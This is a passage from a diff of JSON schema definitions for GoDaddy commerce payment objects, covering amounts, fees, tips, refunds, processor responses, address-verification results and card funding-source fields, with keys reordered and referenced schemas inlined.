details", - "$id": "https://godaddy.com/schemas/commerce/payment/tip-amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Tip Amount", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Tip amount" - }, - "customerOptedNoTip": { - "type": "boolean", - "default": false, - "description": "Customer opted for no tip" - } - } - }, - "cashback": { - "type": "integer", - "description": "Cashback details" - }, - "subTotal": { - "type": "integer", - "format": "int64", - "description": "Sub total details" - }, - "currency": { - "description": "Amount currency", - "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Currency", - "type": "string", - "example": "USD", - "minLength": 3, - "maxLength": 3, - "x-custom-type": true, - "x-currency-type": true - }, - "fees": { - "type": "array", - "items": { - "$id": "https://godaddy.com/schemas/commerce/payment/fee.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Fee", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/simple-fee.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "SimpleFee", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Fee amount" - }, - "type": { - "type": "string", - "example": "Shipping", - "description": "Fee type", - "minLength": 2, - "maxLength": 64 - } - }, - "required": [ - "amount", - "type" - ] - }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/governed-fee.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "GovernedFee", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Fee amount" - }, - "type": { - "type": "string", - "example": "SURCHARGE", - "description": "Fee Program type", - "enum": [ - "SURCHARGE", - "SERVICE_FEE", - "CONVENIENCE_FEE", - "CASH_DISCOUNT" - ] - }, - "signature": { - "type": "string", - "maxLength": 256, - "description": "Signature representing the Fee", - "writeOnly": true - } - }, - "required": [ - "amount", - "type", - "signature" - ] - } - ], - "discriminator": { - "propertyName": "feeType", - "mapping": { - "ADDITIONAL": "./SimpleFee.yaml", - "GOVERNED": "./GovernedFee.yaml" - } - }, - "properties": { - "feeType": { - "type": "string", - "description": "Fee type discriminator" - } - }, - "required": [ - "feeType" - ] - }, - "description": "Fees if any" - } - }, - "required": [ - "total", - "currency" - ] - } - ], - "discriminator": { - "propertyName": "amountType", - "mapping": { - "DETAILED": "./DetailedAmount.yaml", - "SIMPLE": "./SimpleAmount.yaml" - } - }, - "properties": { - "amountType": { - "type": "string" - } - } - }, - "createdAt": { - "type": "string", - "format": "date-time", - "description": "Created time in RFC 3339 format", - "example": "2022-07-21T17:32:28Z" - }, - "context": { - "description": "Transaction context", - "$id": "https://godaddy.com/schemas/commerce/payment/transaction-context.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "TransactionContext", - "allOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/payment-context.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "PaymentContext", - "type": "object", - "description": "Payment Context details", + "$id": "https://godaddy.com/schemas/commerce/payment/governed-fee.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", "properties": { - "channelId": { - "$id": "https://godaddy.com/schemas/commerce/payment/uuid.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Uuid", - "description": "unique identifier (UUID format)", + "amount": { + "description": "Fee amount", + "format": "int64", + "type": "integer" + }, + "signature": { + "description": "Signature representing the Fee", + "maxLength": 256, "type": "string", - "format": "uuid", - "example": "id", - "readOnly": true + "writeOnly": true }, - "merchantInitiatedTransaction": { - "type": "boolean", - "default": false, - "description": "True if initiated by the Merchant on behalf of the customer" + "type": { + "description": "Fee Program type", + "enum": [ + "SURCHARGE", + "SERVICE_FEE", + "CONVENIENCE_FEE", + "CASH_DISCOUNT" + ], + "example": "SURCHARGE", + "type": "string" } - } + }, + "required": [ + "amount", + "type", + "signature" + ], + "title": "GovernedFee", + "type": "object" + } + ], + "properties": { + "feeType": { + "description": "Fee type discriminator", + "type": "string" } + }, + "required": [ + "feeType" ], + "title": "Fee", "type": "object" }, - "clientContext": { - "description": "non-sensitive context data that can be stored and fetched by client when needed", - "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 20, - "additionalProperties": { - "type": "string", - "maxLength": 256 + "type": "array" + }, + "subTotal": { + "description": "Sub total details", + "format": "int64", + "type": "integer" + }, + "tip": { + "$id": "https://godaddy.com/schemas/commerce/payment/tip-amount.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Tip amount details", + "properties": { + "amount": { + "description": "Tip amount", + "format": "int64", + "type": "integer" + }, + "customerOptedNoTip": { + "default": false, + "description": "Customer opted for no tip", + "type": "boolean" } }, - "processorResponse": { - "readOnly": true, - "description": "Processor response", - "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response.v1", + "title": "Tip Amount", + "type": "object" + }, + "total": { + "description": "Total amount", + "format": "int64", + "type": "integer" + } + }, + "required": [ + "total", + "currency" + ], + "title": "Detailed Amount", + "type": "object" + }, + "notes": { + "description": "Notes about transaction", + "maxLength": 512, + "type": "string" + }, + "paymentContext": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-context.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Payment Context details", + "properties": { + "channelId": { + "$id": "https://godaddy.com/schemas/commerce/payment/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "unique identifier (UUID format)", + "example": "id", + "format": "uuid", + "readOnly": true, + "title": "Uuid", + "type": "string" + }, + "merchantInitiatedTransaction": { + "default": false, + "description": "True if initiated by the Merchant on behalf of the customer", + "type": "boolean" + } + }, + "title": "PaymentContext", + "type": "object" + }, + "refNum": { + "$id": "https://godaddy.com/schemas/commerce/payment/refnum.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "reference number (UUID format)", + "format": "uuid", + "title": "ReferenceNumber", + "type": "string", + "x-custom-refnum": true, + "x-custom-type": true + }, + "refunds": { + "description": "Refunds for the payment", + "items": { + "$id": "https://godaddy.com/schemas/commerce/payment/refund.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "DebitCardProcessorResponse", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/creditcard.v1", + "description": "Represents transaction against a payment", + "properties": { + "amount": { + "$id": "https://godaddy.com/schemas/commerce/payment/amount.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Processor Response", - "type": "object", - "properties": { - "avsResult": { - "description": "Address verifications result", - "readOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/processor-response/address-verification-result.v1", + "discriminator": { + "mapping": { + "DETAILED": "./DetailedAmount.yaml", + "SIMPLE": "./SimpleAmount.yaml" + }, + "propertyName": "amountType" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/simple-amount.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "AVS Results", - "type": "object", "properties": { - "addressResult": { - "readOnly": true, - "description": "Result of Address verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] + "amount": { + "description": "Payment amount", + "format": "int64", + "type": "integer" }, - "cityResult": { - "readOnly": true, - "description": "Result of City verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "currency": { + "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", + "description": "ISO 4217 Currency codes", + "example": "USD", + "maxLength": 3, + "minLength": 3, + "title": "Currency", "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] + "x-currency-type": true, + "x-custom-type": true + } + }, + "required": [ + "amount", + "currency" + ], + "title": "Simple Amount", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/detailed-amount.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "cashback": { + "description": "Cashback details", + "type": "integer" }, - "postalCodeResult": { - "readOnly": true, - "description": "Result of Postal code verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "currency": { + "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", + "description": "ISO 4217 Currency codes", + "example": "USD", + "maxLength": 3, + "minLength": 3, + "title": "Currency", "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] + "x-currency-type": true, + "x-custom-type": true }, - "stateResult": { - "readOnly": true, - "description": "Result of State verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] + "fees": { + "description": "Fees if any", + "items": { + "$id": "https://godaddy.com/schemas/commerce/payment/fee.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "discriminator": { + "mapping": { + "ADDITIONAL": "./SimpleFee.yaml", + "GOVERNED": "./GovernedFee.yaml" + }, + "propertyName": "feeType" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/simple-fee.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "amount": { + "description": "Fee amount", + "format": "int64", + "type": "integer" + }, + "type": { + "description": "Fee type", + "example": "Shipping", + "maxLength": 64, + "minLength": 2, + "type": "string" + } + }, + "required": [ + "amount", + "type" + ], + "title": "SimpleFee", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/governed-fee.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "amount": { + "description": "Fee amount", + "format": "int64", + "type": "integer" + }, + "signature": { + "description": "Signature representing the Fee", + "maxLength": 256, + "type": "string", + "writeOnly": true + }, + "type": { + "description": "Fee Program type", + "enum": [ + "SURCHARGE", + "SERVICE_FEE", + "CONVENIENCE_FEE", + "CASH_DISCOUNT" + ], + "example": "SURCHARGE", + "type": "string" + } + }, + "required": [ + "amount", + "type", + "signature" + ], + "title": "GovernedFee", + "type": "object" + } + ], + "properties": { + "feeType": { + "description": "Fee type discriminator", + "type": "string" + } + }, + "required": [ + "feeType" + ], + "title": "Fee", + "type": "object" + }, + "type": "array" }, - "countryResult": { - "readOnly": true, - "description": "Result of Country verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] + "subTotal": { + "description": "Sub total details", + "format": "int64", + "type": "integer" }, - "phoneResult": { - "readOnly": true, - "description": "Result of Phone verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "tip": { + "$id": "https://godaddy.com/schemas/commerce/payment/tip-amount.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] + "description": "Tip amount details", + "properties": { + "amount": { + "description": "Tip amount", + "format": "int64", + "type": "integer" + }, + "customerOptedNoTip": { + "default": false, + "description": "Customer opted for no tip", + "type": "boolean" + } + }, + "title": "Tip Amount", + "type": "object" }, - "cardHolderNameResult": { - "readOnly": true, - "description": "Result of Card holder name verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] + "total": { + "description": "Total amount", + "format": "int64", + "type": "integer" } - } - }, - "cvResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "UNAVAILABLE" + }, + "required": [ + "total", + "currency" ], - "description": "CVV verification result", - "readOnly": true - }, - "approvedAmount": { - "type": "integer", - "description": "If different than request amount", - "readOnly": true - }, - "approvalCode": { - "type": "string", - "readOnly": true, - "description": "Approval code that can be used for reference" - }, - "scaResult": { - "type": "string", - "readOnly": true, - "description": "Strong customer authentication result" - }, - "interacMacResult": { - "type": "string", - "readOnly": true, - "description": "Interac mac result (if interacMac is used)" - }, - "emvTags": { - "readOnly": true, - "description": "EMV tags obtained from the processor", - "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 20, - "additionalProperties": { - "type": "string", - "maxLength": 256 - } + "title": "Detailed Amount", + "type": "object" } - } + ], + "properties": { + "amountType": { + "type": "string" + } + }, + "title": "Amount", + "type": "object" }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/debitcard.v1", + "clientContext": { + "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 20, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "context": { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction-context.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "DebitCardProcessorResponse", - "type": "object", "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-context.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Payment Context details", + "properties": { + "channelId": { + "$id": "https://godaddy.com/schemas/commerce/payment/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "unique identifier (UUID format)", + "example": "id", + "format": "uuid", + "readOnly": true, + "title": "Uuid", + "type": "string" + }, + "merchantInitiatedTransaction": { + "default": false, + "description": "True if initiated by the Merchant on behalf of the customer", + "type": "boolean" + } + }, + "title": "PaymentContext", + "type": "object" + } + ], + "description": "Transaction context", + "title": "TransactionContext", + "type": "object" + }, + "createdAt": { + "description": "Created time in RFC 3339 format", + "example": "2022-07-21T17:32:28Z", + "format": "date-time", + "type": "string" + }, + "notes": { + "description": "Notes about transaction", + "maxLength": 512, + "type": "string" + }, + "processorResponse": { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "discriminator": { + "mapping": { + "CREDIT_CARD": "./CreditCardProcessorResponse.yaml", + "DEBIT_CARD": "./DebitCardProcessorResponse.yaml" + }, + "propertyName": "processorType" + }, + "oneOf": [ { "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/creditcard.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Processor Response", - "type": "object", "properties": { - "avsResult": { - "description": "Address verifications result", + "approvalCode": { + "description": "Approval code that can be used for reference", + "readOnly": true, + "type": "string" + }, + "approvedAmount": { + "description": "If different than request amount", "readOnly": true, + "type": "integer" + }, + "avsResult": { "$id": "https://godaddy.com/schemas/commerce/payment/processor-response/address-verification-result.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "AVS Results", - "type": "object", "properties": { "addressResult": { - "readOnly": true, - "description": "Result of Address verification", "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", "enum": [ "MATCH", "NO_MATCH", "PARTIAL_MATCH", "UNAVAILABLE" - ] + ], + "title": "Address Verification Status", + "type": "string" }, - "cityResult": { - "readOnly": true, - "description": "Result of City verification", + "cardHolderNameResult": { "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", "enum": [ "MATCH", "NO_MATCH", "PARTIAL_MATCH", "UNAVAILABLE" - ] + ], + "title": "Address Verification Status", + "type": "string" }, - "postalCodeResult": { - "readOnly": true, - "description": "Result of Postal code verification", + "cityResult": { "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", "enum": [ "MATCH", "NO_MATCH", "PARTIAL_MATCH", "UNAVAILABLE" - ] + ], + "title": "Address Verification Status", + "type": "string" }, - "stateResult": { - "readOnly": true, - "description": "Result of State verification", + "countryResult": { "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", "enum": [ "MATCH", "NO_MATCH", "PARTIAL_MATCH", "UNAVAILABLE" - ] + ], + "title": "Address Verification Status", + "type": "string" }, - "countryResult": { - "readOnly": true, - "description": "Result of Country verification", + "phoneResult": { "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", "enum": [ "MATCH", "NO_MATCH", "PARTIAL_MATCH", "UNAVAILABLE" - ] + ], + "title": "Address Verification Status", + "type": "string" }, - "phoneResult": { - "readOnly": true, - "description": "Result of Phone verification", + "postalCodeResult": { "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", "enum": [ "MATCH", "NO_MATCH", "PARTIAL_MATCH", "UNAVAILABLE" - ] + ], + "title": "Address Verification Status", + "type": "string" }, - "cardHolderNameResult": { - "readOnly": true, - "description": "Result of Card holder name verification", + "stateResult": { "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", "enum": [ "MATCH", "NO_MATCH", "PARTIAL_MATCH", "UNAVAILABLE" - ] + ], + "title": "Address Verification Status", + "type": "string" } - } + }, + "title": "AVS Results", + "type": "object" }, "cvResult": { - "type": "string", + "description": "CVV verification result", "enum": [ "MATCH", "NO_MATCH", "UNAVAILABLE" ], - "description": "CVV verification result", - "readOnly": true - }, - "approvedAmount": { - "type": "integer", - "description": "If different than request amount", - "readOnly": true - }, - "approvalCode": { - "type": "string", "readOnly": true, - "description": "Approval code that can be used for reference" + "type": "string" }, - "scaResult": { - "type": "string", - "readOnly": true, - "description": "Strong customer authentication result" + "emvTags": { + "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 20, + "minProperties": 0, + "title": "Dictionary", + "type": "object" }, "interacMacResult": { - "type": "string", + "description": "Interac mac result (if interacMac is used)", "readOnly": true, - "description": "Interac mac result (if interacMac is used)" + "type": "string" }, - "emvTags": { + "scaResult": { + "description": "Strong customer authentication result", "readOnly": true, - "description": "EMV tags obtained from the processor", - "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", + "type": "string" + } + }, + "title": "Card Processor Response", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/debitcard.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/creditcard.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 20, - "additionalProperties": { - "type": "string", - "maxLength": 256 - } + "properties": { + "approvalCode": { + "description": "Approval code that can be used for reference", + "readOnly": true, + "type": "string" + }, + "approvedAmount": { + "description": "If different than request amount", + "readOnly": true, + "type": "integer" + }, + "avsResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/processor-response/address-verification-result.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "addressResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "cardHolderNameResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "cityResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "countryResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "phoneResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "postalCodeResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "stateResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + } + }, + "title": "AVS Results", + "type": "object" + }, + "cvResult": { + "description": "CVV verification result", + "enum": [ + "MATCH", + "NO_MATCH", + "UNAVAILABLE" + ], + "readOnly": true, + "type": "string" + }, + "emvTags": { + "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 20, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "interacMacResult": { + "description": "Interac mac result (if interacMac is used)", + "readOnly": true, + "type": "string" + }, + "scaResult": { + "description": "Strong customer authentication result", + "readOnly": true, + "type": "string" + } + }, + "title": "Card Processor Response", + "type": "object" } - } + ], + "properties": { + "remainingBalanceAmount": { + "description": "Remaining balance amount", + "type": "integer" + } + }, + "title": "DebitCardProcessorResponse", + "type": "object" } ], "properties": { - "remainingBalanceAmount": { - "type": "integer", - "description": "Remaining balance amount" + "processorType": { + "type": "string" } - } - } - ], - "discriminator": { - "propertyName": "processorType", - "mapping": { - "CREDIT_CARD": "./CreditCardProcessorResponse.yaml", - "DEBIT_CARD": "./DebitCardProcessorResponse.yaml" - } - }, - "properties": { - "processorType": { + }, + "required": [ + "processorType" + ], + "title": "DebitCardProcessorResponse", + "type": "object" + }, + "status": { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Transaction status", + "enum": [ + "INITIATED", + "PENDING", + "FAILED", + "COMPLETED", + "VOIDED" + ], + "title": "Transaction Status", "type": "string" + }, + "transactionId": { + "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Custom URN format", + "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", + "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "readOnly": true, + "title": "Id", + "type": "string", + "x-custom-id": true, + "x-custom-type": true + }, + "transactionRefNum": { + "$id": "https://godaddy.com/schemas/commerce/payment/refnum.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "reference number (UUID format)", + "format": "uuid", + "title": "ReferenceNumber", + "type": "string", + "x-custom-refnum": true, + "x-custom-type": true } }, "required": [ - "processorType" - ] - }, - "notes": { - "type": "string", - "maxLength": 512, - "description": "Notes about transaction" + "amount", + "createdAt" + ], + "title": "Transaction", + "type": "object", + "x-generic-type": "Transaction" } - }, - "required": [ - "amount", - "createdAt" - ] - } - ], - "x-generic-type": "Transaction", - "description": "Represents refund transaction against a payment", - "properties": { - "alternateFundingSource": { - "description": "Alternate funding source", - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Funding Source", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card.v1", + ], + "description": "Represents refund transaction against a payment", + "properties": { + "alternateFundingSource": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Payment Card", - "type": "object", - "properties": { - "cardDetail": { - "description": "Card detail", - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card/card-detail.v1", + "discriminator": { + "mapping": { + "APPLE_PAY": "../payment-token/ApplePayPaymentToken.yaml", + "EBT_CARD": "./EBTCard.yaml", + "GODADDY": "../payment-token/GDPaymentTokenReference.yaml", + "GOOGLE_PAY": "../payment-token/GooglePayPaymentToken.yaml", + "PAYMENT_CARD": "./PaymentCard.yaml", + "PAYPAL": "../payment-token/PaypalPaymentToken.yaml" + }, + "propertyName": "sourceType" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Detail", - "type": "object", "properties": { - "number": { - "type": "string", - "description": "Card number" - }, - "type": { - "type": "string", - "enum": [ - "VISA", - "MASTERCARD", - "AMERICAN_EXPRESS", - "DISCOVER" - ], - "description": "Type of the card" - }, - "source": { - "type": "string", - "description": "Source of the card", - "enum": [ - "DIRECT", - "APPLE_PAY", - "GOOGLE_PAY" - ] - }, - "track1Data": { - "type": "string", - "writeOnly": true, - "description": "Card track 1 data" - }, - "track2Data": { - "type": "string", - "writeOnly": true, - "description": "Card track 2 data" - }, - "track3Data": { - "type": "string", - "writeOnly": true, - "description": "Card track 3 data" - }, - "firstName": { - "type": "string", - "description": "First name of card holder" - }, - "lastName": { - "type": "string", - "description": "Last name of card holder" - }, - "expMonth": { - "type": "integer", - "minimum": 1, - "maximum": 12 - }, - "expYear": { - "type": "integer", - "minimum": 2000, - "maximum": 9999 - }, - "sequenceNumber": { - "type": "string", - "writeOnly": true, - "description": "Sequence number to distinguish between 2 cards with same PAN." - }, - "serviceCode": { - "type": "string", - "writeOnly": true, - "description": "Track data read from card" - }, - "encrypted": { - "type": "boolean", - "default": true, - "description": "True if the card number is encrypted", - "writeOnly": true - }, - "keySerialNumber": { - "type": "string", - "writeOnly": true, - "description": "For DUKPT encryption" - }, - "entryDetails": { - "description": "Card entry details", - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card/card-entry-detail.v1", + "cardDetail": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card/card-detail.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Entry Detail", - "type": "object", "properties": { - "iccFallback": { + "emvTags": { + "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 20, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "encrypted": { + "default": true, + "description": "True if the card number is encrypted", "type": "boolean", - "description": "indicates whether there was a fallback to MSR from EMV", - "default": false, "writeOnly": true }, - "entryMethod": { - "type": "string", - "description": "Entry mode for the card", - "enum": [ - "KEYED", - "MSR", - "CL_MSR", - "ICC", - "CL_ICC" - ] + "entryDetails": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card/card-entry-detail.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "customerPresent": { + "default": false, + "description": "Indicates whether customer was present during transaction", + "type": "boolean" + }, + "entryMethod": { + "description": "Entry mode for the card", + "enum": [ + "KEYED", + "MSR", + "CL_MSR", + "ICC", + "CL_ICC" + ], + "type": "string" + }, + "iccFallback": { + "default": false, + "description": "indicates whether there was a fallback to MSR from EMV", + "type": "boolean", + "writeOnly": true + } + }, + "title": "Card Entry Detail", + "type": "object" }, - "customerPresent": { - "type": "boolean", - "description": "Indicates whether customer was present during transaction", - "default": false - } - } - }, - "interacMacDetail": { - "writeOnly": true, - "description": "Card 